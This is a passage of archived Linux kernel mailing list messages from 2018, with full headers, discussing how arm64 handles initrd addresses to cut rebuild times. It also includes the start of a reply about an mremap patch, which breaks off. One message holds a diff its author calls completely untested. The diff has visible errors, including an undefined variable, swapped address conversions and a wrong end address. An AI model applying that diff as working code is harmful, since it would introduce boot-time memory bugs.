X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 09:36:56 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: Florian Fainelli <f.fainelli@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <linux-mips@linux-mips.org>,
        nios2-dev@lists.
To: Rob Herring <robh@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 25 11:36:50 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFc4O-0001aV-WE
	for glk-linux-kernel-4@m.gmane.org; Thu, 25 Oct 2018 11:36:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727162AbeJYSKz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 25 Oct 2018 14:10:55 -0400
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]:40282 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1726913AbeJYSKy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 25 Oct 2018 14:10:54 -0400
Original-Received: from pps.filterd (m0098419.ppops.net [127.0.0.1])
        by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w9P9conD013383
        for <linux-kernel@vger.kernel.org>; Thu, 25 Oct 2018 05:38:56 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
        by mx0b-001b2d01.pphosted.com with ESMTP id 2nbbb983j5-1
        (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Thu, 25 Oct 2018 05:38:56 -0400
Original-Received: from localhost
        by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <rppt@linux.ibm.com>;
        Thu, 25 Oct 2018 10:38:53 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
        by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
        Thu, 25 Oct 2018 10:38:45 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com [9.149.105.58])
        by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w9P9cijR35061846
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Thu, 25 Oct 2018 09:38:44 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 11E1C4C052;
        Thu, 25 Oct 2018 09:38:44 +0000 (GMT)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 8AD0C4C046;
        Thu, 25 Oct 2018 09:38:37 +0000 (GMT)
Original-Received: from rapoport-lnx (unknown [9.148.206.29])
        by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Thu, 25 Oct 2018 09:38:37 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
X-TM-AS-GCONF: 00
x-cbid: 18102509-4275-0000-0000-000002D37AFD
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18102509-4276-0000-0000-000037DF8880
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:,, definitions=2018-10-25_04:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1810250088
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2907477 gmane.linux.ports.alpha:5369 gmane.linux.kernel.arc:4613 gmane.linux.ports.arm.kernel:681371 gmane.linux.ports.hexagon:1953 gmane.linux.ports.ia64:29433 gmane.linux.ports.mips.general:67173 gmane.linux.ports.parisc:29234 gmane.linux.ports.ppc64.devel:164888 gmane.linux.ports.riscv:1209 gmane.linux.ports.sh.devel:57687 gmane.linux.ports.sparc:28657 gmane.linux.drivers.devicetree:294335 gmane.linux.kernel.cross-arch:48060
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2907477>

On Wed, Oct 24, 2018 at 02:55:17PM -0500, Rob Herring wrote:
> On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
> >
> > Hi all,
> >
> > While investigating why ARM64 required a ton of objects to be rebuilt
> > when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
> > because we define __early_init_dt_declare_initrd() differently and we do
> > that in arch/arm64/include/asm/memory.h which gets included by a fair
> > amount of other header files, and translation units as well.
> 
> I scratch my head sometimes as to why some config options rebuild so
> much stuff. One down, ? to go. :)
> 
> > Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
> > systems that generate two kernels: one with the initramfs and one
> > without. buildroot is one of these build systems, OpenWrt is also
> > another one that does this.
> >
> > This patch series proposes adding an empty initrd.h to satisfy the need
> > for drivers/of/fdt.c to unconditionally include that file, and moves the
> > custom __early_init_dt_declare_initrd() definition away from
> > asm/memory.h
> >
> > This cuts the number of objects rebuilds from 1920 down to 26, so a
> > factor 73 approximately.
> >
> > Apologies for the long CC list, please let me know how you would go
> > about merging that and if another approach would be preferable, e.g:
> > introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
> > something like that.
> 
> There may be a better way as of 4.20 because bootmem is now gone and
> only memblock is used. This should unify what each arch needs to do
> with initrd early. We need the physical address early for memblock
> reserving. Then later on we need the virtual address to access the
> initrd. Perhaps we should just change initrd_start and initrd_end to
> physical addresses (or add 2 new variables would be less invasive and
> allow for different translation than __va()). The sanity checks and
> memblock reserve could also perhaps be moved to a common location.
>
> Alternatively, given arm64 is the only oddball, I'd be fine with an
> "if (IS_ENABLED(CONFIG_ARM64))" condition in the default
> __early_init_dt_declare_initrd as long as we have a path to removing
> it like the above option.

I think arm64 does not have to redefine __early_init_dt_declare_initrd().
Something like this might be just all we need (completely untested,
probably it won't even compile):

diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
index 9d9582c..e9ca238 100644
--- a/arch/arm64/mm/init.c
+++ b/arch/arm64/mm/init.c
@@ -62,6 +62,9 @@ s64 memstart_addr __ro_after_init = -1;
 phys_addr_t arm64_dma_phys_limit __ro_after_init;
 
 #ifdef CONFIG_BLK_DEV_INITRD
+
+static phys_addr_t initrd_start_phys, initrd_end_phys;
+
 static int __init early_initrd(char *p)
 {
 	unsigned long start, size;
@@ -71,8 +74,8 @@ static int __init early_initrd(char *p)
 	if (*endp == ',') {
 		size = memparse(endp + 1, NULL);
 
-		initrd_start = start;
-		initrd_end = start + size;
+		initrd_start_phys = start;
+		initrd_end_phys = end;
 	}
 	return 0;
 }
@@ -407,14 +410,27 @@ void __init arm64_memblock_init(void)
 		memblock_add(__pa_symbol(_text), (u64)(_end - _text));
 	}
 
-	if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) && initrd_start) {
+	if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) &&
+	    (initrd_start || initrd_start_phys)) {
+		/*
+		 * FIXME: ensure proper precendence between
+		 * early_initrd and DT when both are present
+		 */
+		if (initrd_start) {
+			initrd_start_phys = __phys_to_virt(initrd_start);
+			initrd_end_phys = __phys_to_virt(initrd_end);
+		} else if (initrd_start_phys) {
+			initrd_start = __va(initrd_start_phys);
+			initrd_end = __va(initrd_start_phys);
+		}
+
 		/*
 		 * Add back the memory we just removed if it results in the
 		 * initrd to become inaccessible via the linear mapping.
 		 * Otherwise, this is a no-op
 		 */
-		u64 base = initrd_start & PAGE_MASK;
-		u64 size = PAGE_ALIGN(initrd_end) - base;
+		u64 base = initrd_start_phys & PAGE_MASK;
+		u64 size = PAGE_ALIGN(initrd_end_phys) - base;
 
 		/*
 		 * We can only add back the initrd memory if we don't end up
@@ -458,7 +474,7 @@ void __init arm64_memblock_init(void)
 	 * pagetables with memblock.
 	 */
 	memblock_reserve(__pa_symbol(_text), _end - _text);
-#ifdef CONFIG_BLK_DEV_INITRD
+#if 0
 	if (initrd_start) {
 		memblock_reserve(initrd_start, initrd_end - initrd_start);
 
 
> Rob
> 

-- 
Sincerely yours,
Mike.



From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing
 CONFIG_BLK_DEV_INITRD
Date: Thu, 25 Oct 2018 10:51:34 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <20181025095134.GX30658@n2100.armlinux.org.uk>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
 <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
 <20181025093833.GA23607@rapoport-lnx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1540461001 31183 195.159.176.226 (25 Oct 2018 09:50:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 09:50:01 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Rob Herring <robh@kernel.org>,
        Linux-MIPS <linux-mips@linux-mips.org>,
        linux-ia64@vger.kernel.org, SH-Linux <linux-sh@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>, devicetree@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
        "open list:GENERIC INCLUDE/ASM HEADER FILES" 
        <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
        Florian Fainelli <f.fainelli@gmail.com>,
        linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-xtensa@linux-xtensa.org, Arnd Bergmann <arnd@arndb.de>,
        Marc Zyngier <marc.zyngier@arm.com>,
        linux-um@lists.infradead.org, linux-m68k@lists
To: Mike Rapoport <rppt@linux.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 25 11:49:54 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFcGz-0007rz-32
	for glk-linux-kernel-4@m.gmane.org; Thu, 25 Oct 2018 11:49:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727472AbeJYSX5 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 25 Oct 2018 14:23:57 -0400
Original-Received: from pandora.armlinux.org.uk ([78.32.30.218]:57416 "EHLO
        pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727203AbeJYSX5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 25 Oct 2018 14:23:57 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=armlinux.org.uk; s=pandora-2014; h=Sender:In-Reply-To:Content-Type:
        MIME-Version:References:Message-ID:Subject:Cc:To:From:Date:Reply-To:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=DMYUfrzGm67RQwAYb+Dc7BRuNsrESyqorLWObdoCMoU=; b=ZKPHQyKcMinQF8nTFQOsHNQ1F
        BSmqvxTgmRJ5mU25+jB7J1Rb5qDYn1EAWyXpOfuy9jogo1jEdKT51bw9M57W4TA3fwEbFwmdWAVWs
        DdLVmkVSpdSB3x3yV+XUtfLpmlsDDgWrDZGcYPmME/k+zfecASxYewOJKQc/gba53gulw=;
Original-Received: from n2100.armlinux.org.uk ([fd8f:7570:feb6:1:214:fdff:fe10:4f86]:43699)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128)
        (Exim 4.90_1)
        (envelope-from <linux@armlinux.org.uk>)
        id 1gFcIo-0006y6-5K; Thu, 25 Oct 2018 10:51:42 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.90_1)
        (envelope-from <linux@n2100.armlinux.org.uk>)
        id 1gFcIj-0004rh-Kl; Thu, 25 Oct 2018 10:51:37 +0100
Content-Disposition: inline
In-Reply-To: <20181025093833.GA23607@rapoport-lnx>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2907485 gmane.linux.ports.mips.general:67174 gmane.linux.ports.ia64:29434 gmane.linux.ports.sh.devel:57688 gmane.linux.drivers.devicetree:294342 gmane.linux.ports.sparc:28658 gmane.linux.ports.riscv:1210 gmane.linux.kernel.cross-arch:48061 gmane.linux.ports.hexagon:1954 gmane.linux.kernel.arc:4614 gmane.linux.ports.arm.kernel:681377 gmane.linux.ports.parisc:29235 gmane.linux.ports.alpha:5370 gmane.linux.ports.ppc64.devel:164889
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2907485>

On Thu, Oct 25, 2018 at 10:38:34AM +0100, Mike Rapoport wrote:
> On Wed, Oct 24, 2018 at 02:55:17PM -0500, Rob Herring wrote:
> > On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
> > >
> > > Hi all,
> > >
> > > While investigating why ARM64 required a ton of objects to be rebuilt
> > > when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
> > > because we define __early_init_dt_declare_initrd() differently and we do
> > > that in arch/arm64/include/asm/memory.h which gets included by a fair
> > > amount of other header files, and translation units as well.
> > 
> > I scratch my head sometimes as to why some config options rebuild so
> > much stuff. One down, ? to go. :)
> > 
> > > Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
> > > systems that generate two kernels: one with the initramfs and one
> > > without. buildroot is one of these build systems, OpenWrt is also
> > > another one that does this.
> > >
> > > This patch series proposes adding an empty initrd.h to satisfy the need
> > > for drivers/of/fdt.c to unconditionally include that file, and moves the
> > > custom __early_init_dt_declare_initrd() definition away from
> > > asm/memory.h
> > >
> > > This cuts the number of objects rebuilds from 1920 down to 26, so a
> > > factor 73 approximately.
> > >
> > > Apologies for the long CC list, please let me know how you would go
> > > about merging that and if another approach would be preferable, e.g:
> > > introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
> > > something like that.
> > 
> > There may be a better way as of 4.20 because bootmem is now gone and
> > only memblock is used. This should unify what each arch needs to do
> > with initrd early. We need the physical address early for memblock
> > reserving. Then later on we need the virtual address to access the
> > initrd. Perhaps we should just change initrd_start and initrd_end to
> > physical addresses (or add 2 new variables would be less invasive and
> > allow for different translation than __va()). The sanity checks and
> > memblock reserve could also perhaps be moved to a common location.
> >
> > Alternatively, given arm64 is the only oddball, I'd be fine with an
> > "if (IS_ENABLED(CONFIG_ARM64))" condition in the default
> > __early_init_dt_declare_initrd as long as we have a path to removing
> > it like the above option.
> 
> I think arm64 does not have to redefine __early_init_dt_declare_initrd().
> Something like this might be just all we need (completely untested,
> probably it won't even compile):

The alternative solution would be to replace initrd_start/initrd_end
with physical address versions of these everywhere - that's what
we're passed from DT, it's what 32-bit ARM would prefer, and seemingly
what 64-bit ARM would also like as well.

Grepping for initrd_start in arch/*/mm shows that there's lots of
architectures that have virtual/physical conversions on these, and
a number that have obviously been derived from 32-bit ARM's approach
(with maintaining a phys_initrd_start variable to simplify things).

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 12.1Mbps down 622kbps up
According to speedtest.net: 11.9Mbps down 500kbps up


From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Thu, 25 Oct 2018 13:19:00 +0300
Lines: 85
Approved: news@gmane.org
Message-ID: <20181025101900.phqnqpoju5t2gar5@kshutemo-mobl1>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
 <20181024115733.GN8537@350D>
 <20181024125724.yf6frdimjulf35do@kshutemo-mobl1>
 <20181025020907.GA13560@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540463023 22882 195.159.176.226 (25 Oct 2018 10:23:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 10:23:43 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Balbir Singh <bsingharora@gmail.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 I
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Thu Oct 25 12:23:33 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gFcnd-0005l2-EK
	for glpr-linux-riscv@m.gmane.org; Thu, 25 Oct 2018 12:23:33 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=cBAD82//F0IHqocoI9u7q0ji6ideZxbf3r0I5XESV+w=; b=ejTgSfWk+en03E
	xPZvCejgyWtf5cP1cIF5Q3bznOdkjdi/eqZ6S07qwC+l5q5YhvczdyAb15QPT/2x78j3CtFDlfnR+
	Y1+PIhkFa63GcPmVCIIvjwF6HlcNJBYvr7ZPVd2oz2mBrzHkzWMQ69CDjijlB5DQRStwATiyzuXoW
	utEXSm/wWqLsFzdcxo7uZCe+14bXK+5B/Yf6fWXZJOfgFXMF8tNr9l65tdks+8B9jlc07OoBu7Ju9
	HBUv9X5RzJX1OVqnkat8nSAB9hS9l9FG78VEb8KHoMPA9ojn/LYbUMdq+7HPbiRlKp9EoDUl5Zt6s
	1tFmqYznwWHrCzPnijXA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFcpg-00065S-G6; Thu, 25 Oct 2018 10:25:40 +0000
Original-Received: from mail-pf1-x443.google.com ([2607:f8b0:4864:20::443])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFcpU-0005Qf-JD
 for linux-riscv@lists.infradead.org; Thu, 25 Oct 2018 10:25:37 +0000
Original-Received: by mail-pf1-x443.google.com with SMTP id l81-v6so3952505pfg.3
 for <linux-riscv@lists.infradead.org>; Thu, 25 Oct 2018 03:25:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=NN9j8rpITBLmXn0s4bCI/Rhv1UTafbrEZVV+5fg1umY=;
 b=bXy1o7gBqEG05Ywgx9/FrojpzTDhWv0EkEXVi0IVnfJNaXyjBAccGyM9GDwNX/9AO5
 5c3353pMwtFoNPHIz1yi0K7TGWwx5F/cf9+vXWAf6emqwwhT2O0UVxm/EYw4K9od7nUp
 kQJJB/ZD8mVABPMc8/eZG5E3FsU/2f1/34566e+LfSLfvNFQxYaUmReyfpQf6+h+nd9N
 DS2otEO8dvj8DjqaiAMoMtmDiCF3R7gg+N70qTfvna2jTzoi4pGKqKOZXdviecnoqgKO
 ckfGiAGunlFPSXWlqRRH/J1tdarE+zwuAL8bCT4RZVOrp42w0RyNPc72HtdsyY/ZvYBF
 iZcg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=NN9j8rpITBLmXn0s4bCI/Rhv1UTafbrEZVV+5fg1umY=;
 b=pHswNg8EsTtb6rvgzlTNEVQK9A+Vn3UQncc4iliMDK57rEuYsOInYhqO3YDCGZ0c/8
 9k45cOlp2bul2+0pc7lc9JlNbgfkDQJzeYhbv1Q2Jo2c7su424EuwsTH+1/+te1yflIB
 dgnZf+D0B0JGaPaB73yInhhMOKcgJbaf9yzAjffti5D2oJIGn8HRQYlpBmFjHW7b0+R/
 3T+f6GEVpOwD9qHeGNzjQXfZd9WTKdpviqWZOUMpLHoyvtRiw+99rfzMMTYFbWv1dthC
 aYFmuUHTy+XQS0k3X2PkkVzTSlBq9xGDa3bjKjntr6GYfJ+93puGsnAvnVlRzfO5Ym+c
 VfeA==
X-Gm-Message-State: AGRZ1gLdrA80ncnWhFvvh6mGJgIJGtsAjucXG16W25QHbmiyLEfUw130
 WNwVjDFdC9Ags7TmsBJRgpwaQw==
X-Google-Smtp-Source: AJdET5ddcNEf3GxIvgmksgLUNAlw5ZNsWaLvtabg1u62mstKpdrWr9kG4myQ0Z6ADq9hZPo9K2gwxA==
X-Received: by 2002:a62:8dcd:: with SMTP id
 p74-v6mr966898pfk.217.1540463117240; 
 Thu, 25 Oct 2018 03:25:17 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain ([192.55.54.41])
 by smtp.gmail.com with ESMTPSA id h5-v6sm9026081pgh.42.2018.10.25.03.25.15
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 25 Oct 2018 03:25:16 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id 756F2300225; Thu, 25 Oct 2018 13:19:00 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20181025020907.GA13560@joelaf.mtv.corp.google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181025_032528_675720_5D9CB156 
X-CRM114-Status: GOOD (  27.40  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:443 listed in] [list.dnswl.org]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1211 gmane.linux.ports.mips.general:67175 gmane.linux.ports.ia64:29435 gmane.linux.ports.sh.devel:57689 gmane.linux.kernel.mm:205994 gmane.linux.ports.sparc:28659 gmane.comp.emulators.kvm.arm.devel:19594 gmane.linux.ports.hexagon:1955 gmane.linux.kernel.arc:4615 gmane.linux.ports.parisc:29236 gmane.linux.kernel:2907502 gmane.linux.ports.alpha:5371 gmane.linux.ports.ppc64.devel:164890
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1211>

On Wed, Oct 24, 2018 at 07:09:07PM -0700, Joel Fernandes wrote:
> On Wed, Oct 24, 2018 at 03:57:24PM +0300, Kirill A. Shutemov wrote:
> > On Wed, Oct 24, 2018 at 10:57:33PM +1100, Balbir Singh wrote:
> > > On Wed, Oct 24, 2018 at 01:12:56PM +0300, Kirill A. Shutemov wrote:
> > > > On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
> > > > > diff --git a/mm/mremap.c b/mm/mremap.c
> > > > > index 9e68a02a52b1..2fd163cff406 100644
> > > > > --- a/mm/mremap.c
> > > > > +++ b/mm/mremap.c
